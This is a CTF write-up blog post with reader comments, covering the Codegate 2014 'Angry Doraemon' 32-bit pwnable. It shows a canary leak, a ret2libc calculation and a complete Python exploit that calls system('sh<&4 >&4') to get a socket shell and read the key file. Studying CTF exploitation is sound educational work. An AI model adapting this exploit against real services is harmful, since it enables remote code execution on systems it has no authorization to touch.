Tuesday, February 25, 2014

Codegate CTF Quals 2014 - Angry Doraemon - Pwnable 250 - [Team SegFault]

We were given a 32 bit ELF running on Ubuntu 13.10 x86 system with NX, Stack Canary and ASLR enabled. The vulnerability is in the function that handles option 4.
buf             = dword ptr -16h
.text:0804902F                 mov     dword ptr [esp+8], 6Eh ; nbytes
.text:08049037                 lea     eax, [ebp+buf]
.text:0804903A                 mov     [esp+4], eax    ; buf
.text:0804903E                 mov     eax, [ebp+fd]
.text:08049041                 mov     [esp], eax      ; fd
.text:08049044                 call    _read           ; buffer overflow here 
.text:08049049                 movzx   eax, byte ptr [ebp+buf]
.text:0804904D                 cmp     al, 79h
.text:0804904F                 jnz     canary_check
0x6E bytes can overflow the stack but stack canary should be bypassed to overwrite saved EIP. We can take advantage of below piece of code to get information leak.
.text:08049055                 lea     eax, [ebp+buf]
.text:08049058                 mov     [esp+8], eax
.text:0804905C                 mov     dword ptr [esp+4], offset choice ; "You choose '%s'!\n"
.text:08049064                 mov     dword ptr [esp], offset s ; s
.text:0804906B                 call    _sprintf
.text:08049070                 mov     [ebp+n], eax
.text:08049073                 mov     eax, [ebp+n]
.text:08049076                 mov     [esp+8], eax    ; n
.text:0804907A                 mov     dword ptr [esp+4], offset s ; buf
.text:08049082                 mov     eax, [ebp+fd]
.text:08049085                 mov     [esp], eax      ; fd
.text:08049088                 call    _write
This is what the memory layout looks like
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]
Writing 10 bytes to buffer will concatenate the buffer with canary, such that sprintf() will read all 14 bytes since there is no NUL byte to terminate the memory area. But remote server had a canary value with NUL byte, so overwrite with 11 bytes to leak information about the canary. This will give us the canary value along with saved EBP, thus leaking the random address of stack.

We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
[nnnnnnnnnn(10 bytes) | leaked canary(4 bytes) | 12 bytes junk | system@libc | 0xdeadbeef | arg ]
Below is the final exploit:
#!/usr/bin/env python

import struct
import socket
import time

ip = ''
ip = ''
port = 8888

canary = 0x008bc384
ebp = 0xbfb0a7d8

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))


canary = struct.pack(">I", canary)

payload  = "n" * 10
payload += canary
payload += "A"*12      # padding
payload += struct.pack("<I", 0xb759f260) # overwrite EIP with system@libc
payload += struct.pack("<I", 0xdeadbeef)
payload += struct.pack("<I", ebp-16)
payload += "sh<&4 >&4\x00"

soc.send(payload + "\n")
soc.send('cat /home/angry_doraemon/key\n')
print soc.recv(1024)
Flag for the challenge is CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP


  1. Hi,

    Could you please to explain why there are exist 2 buffer from your memory layout ?

    [10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]

    when I see in IDA :

    int v1; // edx@3
    int v2; // ecx@3
    int v3; // eax@4
    size_t v4; // ST1C_4@4
    int result; // eax@5
    int v6; // [sp+18h] [bp-20h]@1
    int buf; // [sp+22h] [bp-16h]@1
    int v8; // [sp+26h] [bp-12h]@1
    __int16 v9; // [sp+2Ah] [bp-Eh]@1
    int v10; // [sp+2Ch] [bp-Ch]@1

    So I think the stack layout should be :

    buf | v8 | canary (v10) | EBP | EIP

    Is it right ?

    Best Regards,

    1. Hi VnSpl0it,

      This is what the stack looks like:

      var_20= dword ptr -20h
      n= dword ptr -1Ch
      buf= dword ptr -16h
      var_12= dword ptr -12h
      var_E= word ptr -0Eh
      canary= dword ptr -0Ch
      fd= dword ptr 8

      Canary is 0xC bytes away from EBP ie [canary | 8 bytes of data | EBP | EIP]. By 'buffer' I meant the stack space, not any variable name. Sorry, if that was misleading.

  2. This comment has been removed by the author.

  3. Can you tell me how could you get libc address ?
    Thank in advance :)

    1. Read GOT entry of any of the resolved libc functions say __libc_start_main. Then add the offset difference between __libc_start_main + target libc function.

  4. Hi

    Ebp, What is the address?

    1. EBP address varies due to ASLR. U have to use the leaked value. Here I used it to find the address of parameter passed to system() function.

  5. Thank you for the explanation about the Ebp address